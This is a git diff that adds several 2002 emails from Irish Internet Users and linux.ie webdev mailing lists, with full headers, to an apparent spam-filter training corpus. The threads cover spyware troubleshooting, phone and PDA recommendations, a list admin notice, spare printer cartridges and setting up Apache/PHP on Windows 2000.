Instant updates to keep site information fresh. Sites which are updated +> > regularly bring users back. Visit www.deisedesign.com/deiseditor.html for +>a +> > demonstration " +> > +> > Déiseditor © " Managing Your Information " +> > ======================================================================== +> > +> > _______________________________________________ +> > IIU mailing list +> > IIU@iiu.taint.org +> > http://iiu.taint.org/mailman/listinfo/iiu +> > +> +>_______________________________________________ +>IIU mailing list +>IIU@iiu.taint.org +>http://iiu.taint.org/mailman/listinfo/iiu + +======================================================================== +Martin Whelan | Déise Design | www.deisedesign.com | Tel : 086-8888975 + +" Our core product Déiseditor © allows organisations to publish information +to their web site in a fast and cost effective manner. There is no need for +a full time web developer, as the site can be easily updated by the +organisations own staff. +Instant updates to keep site information fresh. Sites which are updated +regularly bring users back. Visit www.deisedesign.com/deiseditor.html for a +demonstration " + +Déiseditor © " Managing Your Information " +======================================================================== + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00500.2c54eea1fb7f8bad057871a317212ad6 b/bayes/spamham/easy_ham_2/00500.2c54eea1fb7f8bad057871a317212ad6 new file mode 100644 index 0000000..eaa0d53 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00500.2c54eea1fb7f8bad057871a317212ad6 @@ -0,0 +1,174 @@ +From iiu-admin@taint.org Tue Aug 6 11:17:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B3C4E44124 + for ; Tue, 6 Aug 2002 06:12:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:12:59 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73Lhbv28519; + Sat, 3 Aug 2002 22:43:37 +0100 +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g73Lg3v28502 for ; + Sat, 3 Aug 2002 22:42:03 +0100 +Received: (qmail 46192 messnum 566055 invoked from + network[159.134.232.46/p232-46.as1.cbr.castlebar.eircom.net]); + 3 Aug 2002 21:40:28 -0000 +Received: from p232-46.as1.cbr.castlebar.eircom.net (HELO oemcomputer) + (159.134.232.46) by mail03.svc.cra.dublin.eircom.net (qp 46192) with SMTP; + 3 Aug 2002 21:40:28 -0000 +Message-Id: <007301c23b36$4d955420$c4e9869f@oemcomputer> +From: "Brian O'Brien" +To: +References: <5.1.0.14.0.20020803213144.02fd5860@127.0.0.1> + <5.1.0.14.0.20020803215948.02fd9340@127.0.0.1> +Subject: Re: [IIU] spyware calling home? +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 22:39:50 +0100 + +Thanks, Martin, iwill try that, however i've only approved the minimal +standard apps - I'll give it a go anyway. I think this is something more +insidious than the standard adprogram - maybe i'm paranoid!!! +Brian +----- Original Message ----- +From: "Martin Whelan" +To: +Sent: Saturday, August 03, 2002 10:01 PM +Subject: Re: [IIU] spyware calling home? + + +> It may be worth removing all your apps from the approved list. (a bit of a +> pain, I agree) then check the first app which makes the connection. With a +> bit of luck it won't be anything standard +> +> At 21:47 03/08/02 +0100, you wrote: +> >Unfortunately, I don't. ZoneAlarm normally gives that info but not this +> >time. It just blocks the outward access and warns me that the attempt +> >occurred. +> >Brian +> >----- Original Message ----- +> >From: "Martin Whelan" +> >To: +> >Sent: Saturday, August 03, 2002 9:32 PM +> >Subject: Re: [IIU] spyware calling home? +> > +> > +> > > Do you know which app is making the connection? +> > > +> > > +> > > At 20:18 03/08/02 +0100, you wrote: +> > > >Hello all +> > > >I'm looking for advice. My pc has developed a disturbing tendency of +> >trying +> > > >to access IP 62.17.143.253 without my consent. It has got to the +stage +> >where +> > > >normal web-browsing is almost impossible. +> > > >I have checked IP address on RIPE database and I know precisely who +is +> >being +> > > >called. I contacted that company on 14 July, when the problem first +arose +> > > >and asked for a remedy but (surprise) got no reply. +> > > >A helpful person on the ie.comp list suggested Adaware spyware +removal. I +> > > >ran this and haven't had a problem again until today. +> > > >The offending program is obviously not in Adaware db. (I run adaware +with +> > > >current ref files every day now).? +> > > >Any suggestions, please, for removing whatever the f*** is causing +this +> > > >from my pc? +> > > >Brian +> > > > +> > > > +> > > >_______________________________________________ +> > > >IIU mailing list +> > > >IIU@iiu.taint.org +> > > >http://iiu.taint.org/mailman/listinfo/iiu +> > > +> > > +======================================================================== +> > > Martin Whelan | Déise Design | www.deisedesign.com | Tel : 086-8888975 +> > > +> > > " Our core product Déiseditor © allows organisations to publish +> >information +> > > to their web site in a fast and cost effective manner. There is no +need +> >for +> > > a full time web developer, as the site can be easily updated by the +> > > organisations own staff. +> > > Instant updates to keep site information fresh. Sites which are +updated +> > > regularly bring users back. Visit www.deisedesign.com/deiseditor.html +for +> >a +> > > demonstration " +> > > +> > > Déiseditor © " Managing Your Information " +> > > +======================================================================== +> > > +> > > _______________________________________________ +> > > IIU mailing list +> > > IIU@iiu.taint.org +> > > http://iiu.taint.org/mailman/listinfo/iiu +> > > +> > +> >_______________________________________________ +> >IIU mailing list +> >IIU@iiu.taint.org +> >http://iiu.taint.org/mailman/listinfo/iiu +> +> ======================================================================== +> Martin Whelan | Déise Design | www.deisedesign.com | Tel : 086-8888975 +> +> " Our core product Déiseditor © allows organisations to publish +information +> to their web site in a fast and cost effective manner. There is no need +for +> a full time web developer, as the site can be easily updated by the +> organisations own staff. +> Instant updates to keep site information fresh. Sites which are updated +> regularly bring users back. Visit www.deisedesign.com/deiseditor.html for +a +> demonstration " +> +> Déiseditor © " Managing Your Information " +> ======================================================================== +> +> _______________________________________________ +> IIU mailing list +> IIU@iiu.taint.org +> http://iiu.taint.org/mailman/listinfo/iiu +> + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00501.172ccb009ff118f79f709c80e04d57c3 b/bayes/spamham/easy_ham_2/00501.172ccb009ff118f79f709c80e04d57c3 new file mode 100644 index 0000000..b315772 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00501.172ccb009ff118f79f709c80e04d57c3 @@ -0,0 +1,63 @@ +From iiu-admin@taint.org Tue Aug 6 11:17:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5806144126 + for ; Tue, 6 Aug 2002 06:13:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:13:09 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73M92v29381; + Sat, 3 Aug 2002 23:09:02 +0100 +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g73M8Tv29358 for ; + Sat, 3 Aug 2002 23:08:29 +0100 +Received: (qmail 87924 messnum 33577 invoked from + network[159.134.100.88/k100-88.bas1.dbn.dublin.eircom.net]); + 3 Aug 2002 22:06:55 -0000 +Received: from k100-88.bas1.dbn.dublin.eircom.net (HELO localhost) + (159.134.100.88) by mail02.svc.cra.dublin.eircom.net (qp 87924) with SMTP; + 3 Aug 2002 22:06:55 -0000 +Subject: Re: [IIU] spyware calling home? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +From: Richard Bannister +To: iiu@taint.org +Content-Transfer-Encoding: 7bit +In-Reply-To: <007301c23b36$4d955420$c4e9869f@oemcomputer> +Message-Id: <47EA45D5-A72D-11D6-B450-003065A6D892@indigo.ie> +X-Mailer: Apple Mail (2.482) +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 23:06:37 +0100 + +Ad Aware sometimes helps too. +-R + +On Saturday, August 3, 2002, at 10:39 pm, Brian O'Brien wrote: + +> Thanks, Martin, iwill try that, however i've only approved the minimal +> standard apps - I'll give it a go anyway. I think this is something more +> insidious than the standard adprogram - maybe i'm paranoid!!! +> Brian + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + diff --git a/bayes/spamham/easy_ham_2/00502.2511079910fd2e05b0bd52d6bf10a89b b/bayes/spamham/easy_ham_2/00502.2511079910fd2e05b0bd52d6bf10a89b new file mode 100644 index 0000000..128dadf --- /dev/null +++ b/bayes/spamham/easy_ham_2/00502.2511079910fd2e05b0bd52d6bf10a89b @@ -0,0 +1,56 @@ +From iiu-admin@taint.org Tue Aug 13 17:00:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9B09843C37 + for ; Tue, 13 Aug 2002 12:00:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 17:00:45 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DG19407830 for + ; Tue, 13 Aug 2002 17:01:09 +0100 +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7DG03407770 for + ; Tue, 13 Aug 2002 17:00:03 +0100 +Date: Tue, 13 Aug 2002 17:00:03 +0100 +Message-Id: <20020813160003.7764.35807.Mailman@dogma.slashnull.org> +Subject: 3 IIU admin request(s) waiting +From: iiu-admin@taint.org +To: iiu-admin@taint.org +X-Ack: no +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Sender: iiu-owner@taint.org +Errors-To: iiu-owner@taint.org +X-Beenthere: iiu@iiu.taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +The IIU@iiu.taint.org mailing list has 3 request(s) waiting for your +consideration at: + + http://iiu.taint.org/mailman/admindb/iiu + +Please attend to this at your earliest convenience. This notice of +pending requests, if any, will be sent out daily. + + +Pending posts: + From: emailharvest@email.com on Wed Jul 31 17:08:17 2002 + Cause: Post by non-member to a members-only list + + From: abcqojps9@usa.net on Sat Aug 3 21:29:41 2002 + Cause: Post by non-member to a members-only list + + From: zigzags@oceanfree.net on Fri Aug 9 16:09:55 2002 + Cause: Post by non-member to a members-only list + + diff --git a/bayes/spamham/easy_ham_2/00503.a066025f6fc03a6b0439c30d0d9bc419 b/bayes/spamham/easy_ham_2/00503.a066025f6fc03a6b0439c30d0d9bc419 new file mode 100644 index 0000000..62fcf4f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00503.a066025f6fc03a6b0439c30d0d9bc419 @@ -0,0 +1,114 @@ +From iiu-admin@taint.org Tue Aug 20 10:58:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8E4343C40 + for ; Tue, 20 Aug 2002 05:58:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:16 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLIuZ09698; + Mon, 19 Aug 2002 22:18:56 +0100 +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JLGrZ09592 for + ; Mon, 19 Aug 2002 22:16:53 +0100 +Received: from [213.202.167.110] (helo=hobbes) by mail1.mail.iol.ie with + smtp (Exim 3.35 #1) id 17gtkg-00089j-00 for iiu@taint.org; Mon, + 19 Aug 2002 22:07:54 +0100 +From: "Darragh Rogan" +To: +Subject: RE: [IIU] Recommendations on phone / pda+phone + European GPRS coverage info. +Message-Id: +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 +In-Reply-To: <000a01c24782$d094d2d0$b400a8c0@aardvark.ie> +Importance: Normal +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 22:17:06 +0100 + +o2 xda? + +Darragh + +-----Original Message----- +From: iiu-admin@taint.org [mailto:iiu-admin@taint.org]On Behalf Of +Gearoid Griffin +Sent: 19 August 2002 14:18 +To: iiu@taint.org +Subject: Re: [IIU] Recommendations on phone / pda+phone + European GPRS +coverage info. + + +Bernie, you might try the +Sony - Ericcison T68m? I use it with my Pocket Pc all the time no problems. +Gearóid +----- Original Message ----- +From: "Bernard Michael Tyers" +To: ; "Open Tech list" +Sent: Monday, August 19, 2002 2:12 PM +Subject: [IIU] Recommendations on phone / pda+phone + European GPRS coverage +info. + + +> Hi everyone, +> (apologies for the cross list posting) +> +> My boss has asked me about the whole phone-pda/pda + phone thingy. +> They're looking for a phone with following outlined specs: +> +> 1. gprs +> 2. tri-band (states useage also) +> 3. long battery life +> 4. irda/bluetooth (but bluetooth is only an add-on..I'm ignoring it) +> 5. easy to use (phb market :) +> +> I had suggested him to maybe look at a pda/phone combo. +> +> Can anyone suggest : +> +> 1. possible phones with the first set of specs +> 2. a phone/pda combo with the same specs +> 3. some information sources (maps, rates, percentages, etc) for gprs +> coverage europe-wide, and fees for roaming. +> +> thanks in advance, +> +> rgrds, +> Bernard +> -- +> Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * +> E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 +> +> _______________________________________________ +> IIU mailing list +> IIU@iiu.taint.org +> http://iiu.taint.org/mailman/listinfo/iiu +> + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + diff --git a/bayes/spamham/easy_ham_2/00504.7c9ab4bdaee07ac93b10bba3d285ae68 b/bayes/spamham/easy_ham_2/00504.7c9ab4bdaee07ac93b10bba3d285ae68 new file mode 100644 index 0000000..296d113 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00504.7c9ab4bdaee07ac93b10bba3d285ae68 @@ -0,0 +1,64 @@ +From iiu-admin@taint.org Tue Aug 20 11:51:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 11A6743C34 + for ; Tue, 20 Aug 2002 06:51:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:51:13 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7K6BmZ27141; + Tue, 20 Aug 2002 07:11:48 +0100 +Received: from weasel ([212.2.162.33]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K6AaZ27124 for ; + Tue, 20 Aug 2002 07:10:36 +0100 +Received: from [193.203.140.188] (helo=bgoldbach.iol.ie) by weasel with + esmtp (Exim 3.33 #2) id 17h2Du-0003Y9-00 for iiu@taint.org; Tue, + 20 Aug 2002 07:10:40 +0100 +Message-Id: <5.1.0.14.2.20020820071019.03e2aec0@gpo.iol.ie> +X-Sender: stripes@gpo.iol.ie +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +To: iiu@taint.org +From: Bernie Goldbach +Subject: Re: [IIU] Recommendations on phone / pda+phone + European GPRS coverage info. +In-Reply-To: <3D60EEB7.4070005@dcu.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 07:12:30 +0100 + +Hi, + +I believe you get more value for money by separating the mobile phone from +the PDA. + +As expressed by power users on Open, a combination like a EUR 160 Nokia +6310i talking to a EUR 440 Palm m515 will meet your specification. By using +a EUR 90 Bluetooth SD chip, the Palm and the Nokia 6310i can talk to one +another even when not in line of sight. + +regards +Bernie + +www.topgold.com/blog/ + + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + diff --git a/bayes/spamham/easy_ham_2/00505.15d586847e2892ae31edf11d6c57b855 b/bayes/spamham/easy_ham_2/00505.15d586847e2892ae31edf11d6c57b855 new file mode 100644 index 0000000..42675fc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00505.15d586847e2892ae31edf11d6c57b855 @@ -0,0 +1,69 @@ +From iiu-admin@taint.org Wed Aug 21 16:23:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6443143C34 + for ; Wed, 21 Aug 2002 11:23:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:23:54 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFNJZ31137; + Wed, 21 Aug 2002 16:23:19 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFMrZ31116 for + ; Wed, 21 Aug 2002 16:22:53 +0100 +Received: from dcu.ie (136.206.21.115) by hawk.dcu.ie (6.0.040) id + 3D6203D30000B0E7 for iiu@taint.org; Wed, 21 Aug 2002 16:22:59 +0100 +Message-Id: <3D63B02D.8010205@dcu.ie> +From: Bernard Michael Tyers +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: ga, en-ie, eu, en-us, de-at, as +MIME-Version: 1.0 +To: iiu@taint.org +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [IIU] IIU: Recommendations on phone / pda+phone + European GPRS coverage +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 16:22:21 +0100 + +hi all, + +thanks for the good information on the choice of phones, pda choices. + +as an aside i also saw that 3com have released a usb blootooth dongle. +that in a lptp combined with a 6310i with the blootooth (with HSCSD) +might be a nice thing to have (if they work!) +i'm doin up a little doc, so if anyone is interested i'll post my findings. + +cheers! + +mit bestem, + +Bernardino +-- +rgrds, +Bernard +-- +Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * +E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + diff --git a/bayes/spamham/easy_ham_2/00506.0da92177d7ab811260fc4580acc947c0 b/bayes/spamham/easy_ham_2/00506.0da92177d7ab811260fc4580acc947c0 new file mode 100644 index 0000000..48bede7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00506.0da92177d7ab811260fc4580acc947c0 @@ -0,0 +1,74 @@ +From iiu-admin@taint.org Thu Aug 22 10:46:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AD25143C45 + for ; Thu, 22 Aug 2002 05:46:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:04 +0100 (IST) +Received: from dogma.slashnull.org (localhost [127.0.0.1]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M9bAZ00868; + Thu, 22 Aug 2002 10:37:10 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7M9aKZ00845 for + ; Thu, 22 Aug 2002 10:36:20 +0100 +Received: from dcu.ie (136.206.21.115) by hawk.dcu.ie (6.0.040) id + 3D6203D30000F758; Thu, 22 Aug 2002 10:36:25 +0100 +Message-Id: <3D64B072.4070904@dcu.ie> +From: Bernard Michael Tyers +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: ga, en-ie, eu, en-us, de-at, as +MIME-Version: 1.0 +To: Open Tech list , iiu +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [IIU] Printer cartiridges looking for a good home. +Sender: iiu-admin@taint.org +Errors-To: iiu-admin@taint.org +X-Beenthere: iiu@iiu.taint.org +X-Mailman-Version: 2.0.10 +Precedence: bulk +Reply-To: iiu@taint.org +List-Unsubscribe: , + +List-Id: Irish Internet Users +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: +Date: Thu, 22 Aug 2002 10:35:46 +0100 + +howdy all, + +I have in my possession the following: + +2/3 Apple toner cartridges M20 45G/A for laser writer 300 / 320 / +and 4/600 PS +1 Apple toner cartridge M2473G/A for laser writer 16/600PS / +pro 630 / pro 600 +1 Cannon EP-A cartridge +1 Cannon EP-E cartridge + +(the numbers might be a little less) + +Does anyone have one of these printers? Does anyone want to give me the +change in their pockets, or the price of a pint for them? +They would make a great Christmas present! + +If so you can call the printer cartridge hotline on the number below. +If lines are busy call later. But do call NOW! + +Bernard "I should be a host on QVC" Tyers + +-- +Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * +E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 + +_______________________________________________ +IIU mailing list +IIU@iiu.taint.org +http://iiu.taint.org/mailman/listinfo/iiu + diff --git a/bayes/spamham/easy_ham_2/00507.33eb248faaa35e9d98296e66f5af8eb9 b/bayes/spamham/easy_ham_2/00507.33eb248faaa35e9d98296e66f5af8eb9 new file mode 100644 index 0000000..4c00e9c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00507.33eb248faaa35e9d98296e66f5af8eb9 @@ -0,0 +1,60 @@ +From webdev-admin@linux.ie Mon Jul 29 11:28:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 075F644155 + for ; Mon, 29 Jul 2002 06:25:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:18 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SMvhi27912 for + ; Sun, 28 Jul 2002 23:57:43 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA02348; Sun, 28 Jul 2002 23:56:30 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA02312 + for ; Sun, 28 Jul 2002 23:56:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts13-072.dublin.indigo.ie + [194.125.173.72]) by mail.magicgoeshere.com (Postfix) with ESMTP id + A9407F952 for ; Sun, 28 Jul 2002 23:41:11 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + F25123CBBD; Sun, 28 Jul 2002 23:49:41 +0100 (IST) +Date: Sun, 28 Jul 2002 23:49:41 +0100 +From: Niall O Broin +To: webdev@linux.ie +Message-Id: <20020728224941.GA5836@bagend.makalumedia.com> +Reply-To: webdev@linux.ie +Mail-Followup-To: Niall O Broin , webdev@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +Subject: [Webdev] Migrating TO W2K +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +Yes, I know, dreadful subject. However, because of customer inistence we +must deploy one project on W2K. This will thus be a WAMP project rather than +a LAMP project. Of course as a highly skilled *ix person I can handle these +Windows toys :-) but can anyone suggest any good educational resources for +using Apache, PHP, Perl and MySQL together on W2K. Anyone had to do the same +and found any particular nasty gotchas (yes, I know about the running +Microsoft software one). + + + +Niall + +_______________________________________________ +Webdev mailing list +Webdev@linux.ie +http://www.linux.ie/mailman/listinfo/webdev + + diff --git a/bayes/spamham/easy_ham_2/00508.b64dddcc41f7261d501039cd62c9f61d b/bayes/spamham/easy_ham_2/00508.b64dddcc41f7261d501039cd62c9f61d new file mode 100644 index 0000000..16497a5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00508.b64dddcc41f7261d501039cd62c9f61d @@ -0,0 +1,70 @@ +From webdev-admin@linux.ie Wed Jul 31 09:27:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DFB5F4406D + for ; Wed, 31 Jul 2002 04:27:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 09:27:08 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6V8NM210509 for + ; Wed, 31 Jul 2002 09:23:22 +0100 +Received: from lugh (www-data@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA23468; Wed, 31 Jul 2002 09:21:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host www-data@localhost + [127.0.0.1] claimed to be lugh +Received: from relay07.indigo.ie (relay07.indigo.ie [194.125.133.231]) by + lugh.tuatha.org (8.9.3/8.9.3) with SMTP id TAA26470 for ; + Mon, 29 Jul 2002 19:45:00 +0100 +Received: (qmail 68570 messnum 1024467 invoked from + network[159.134.100.38/k100-38.bas1.dbn.dublin.eircom.net]); + 29 Jul 2002 18:44:58 -0000 +Received: from k100-38.bas1.dbn.dublin.eircom.net (HELO gemini.windmill) + (159.134.100.38) by relay07.indigo.ie (qp 68570) with SMTP; 29 Jul 2002 + 18:44:58 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Nick Murtagh +To: webdev@linux.ie, Niall O Broin +Subject: Re: [Webdev] Migrating TO W2K +Date: Mon, 29 Jul 2002 19:44:52 +0100 +User-Agent: KMail/1.4.1 +References: <20020728224941.GA5836@bagend.makalumedia.com> +In-Reply-To: <20020728224941.GA5836@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207291944.52213.nickm@go2.ie> +Sender: webdev-admin@linux.ie +Errors-To: webdev-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: +X-Beenthere: webdev@linux.ie + +On Sunday 28 July 2002 23:49, Niall O Broin wrote: +> Yes, I know, dreadful subject. However, because of customer inistence we +> must deploy one project on W2K. This will thus be a WAMP project rather +> than a LAMP project. Of course as a highly skilled *ix person I can handle +> these Windows toys :-) but can anyone suggest any good educational +> resources for using Apache, PHP, Perl and MySQL together on W2K. Anyone 